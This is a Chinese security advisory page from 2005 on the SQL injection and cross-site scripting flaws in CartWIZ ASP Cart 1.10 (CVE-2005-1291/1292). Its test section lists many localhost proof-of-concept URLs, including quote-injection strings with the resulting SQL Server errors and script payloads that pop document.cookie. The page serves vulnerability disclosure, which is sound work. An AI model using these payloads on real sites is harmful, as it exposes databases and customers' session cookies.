首页 -> 安全研究
安全研究
安全漏洞
CartWIZ ASP Cart多个SQL注入及跨站脚本执行漏洞
发布日期:2005-04-25
更新日期:2005-04-25
受影响系统:
CartWIZ CartWIZ 1.10描述:
CVE(CAN) ID: CVE-2005-1291,CVE-2005-1292
CartWIZ是一款功能强大的网络购物软件组件。
CartWIZ ASP Cart中存在多个SQL注入和跨站脚本漏洞。
由于应用程序没有正确的过滤用户输入,远程攻击者可能利用这些漏洞执行任意代码或读取敏感信息。
<*来源:dcrab (dcrab@hackerscenter.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111428393022389&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the \
character string 'SQL_INJECTION'.
/cartWiz/store/addToCart.asp, line 86
http://localhost/cartwiz/store/productDetails.asp?idProduct='SQL%20INJECTION
SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the \
character string 'SQL INJECTION'.
/cartwiz/store/productDetails.asp, line 34
http://localhost/cartwiz/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=0&pr \
iceTo='SQL INJECTION&validate=1 SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'SQL'.
/cartwiz/store/searchResults.asp, line 102
http://localhost/cartwiz/store/searchResults.asp?name=&idCategory=&sku=&priceFrom='SQL \
INJECTION&priceTo=9999999999&validate=1 SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'SQL'.
/cartwiz/store/searchResults.asp, line 102
http://localhost/cartwiz/store/searchResults.asp?name=&idCategory='SQL \
INJECTION&sku=&priceFrom=0&priceTo=9999999999&validate=1 SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' or \
products.briefDescription LIKE '.
/cartwiz/store/searchResults.asp, line 102
http://localhost/cartwiz/store/tellAFriend.asp?idProduct='"><script>alert(docume \
nt.cookie)</script> XSS Pops Cookie
http://localhost/cartwiz/store/addToWishlist.asp?idProduct='"><script>alert(docu \
ment.cookie)</script> XSS Pops Cookie
http://localhost/cartwiz/store/access.asp?redirect='"><script>alert(document.coo \
kie)</script> XSS Pops Cookie
http://localhost/cartWiz/store/error.asp?message='"><script>alert(document.cooki \
e)</script> XSS Pops Cookie
http://localhost/cartwiz/store/login.asp?message=Please+login+using+the+form+above+to+ \
access+your+account.&redirect='"><script>alert(document.cookie)</script> \
XSS Pops Cookie
http://localhost/cartwiz/store/login.asp?message='"><script>alert(document.cooki \
e)</script>&redirect= XSS Pops Cookie
http://localhost/cartwiz/store/searchResults.asp?name=&idCategory=&sku='%22%3E%3Cscrip \
t%3Ealert(document.cookie)%3C/script%3E&priceFrom=0&priceTo=9999999999&validate=1 XSS \
Pops Cookie
http://localhost/cartwiz/store/searchResults.asp?name='"><script>alert(document. \
cookie)</script>&idCategory=&sku=&priceFrom=0&priceTo=9999999999&validate=1 XSS \
Pops Cookie
http://localhost/cartwiz/store/productCatalogSubCats.asp?idParentCategory='SQL ERROR
SQL ERROR
Microsoft VBScript runtime error '800a000d'
Type mismatch: '[string: "'SQL ERROR"]'
/cartwiz/store/productCatalogSubCats.asp, line 87
建议:
厂商补丁:
CartWIZ
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.cartwiz.com/
浏览次数:3828
严重程度:0(网友投票)
绿盟科技给您安全的保障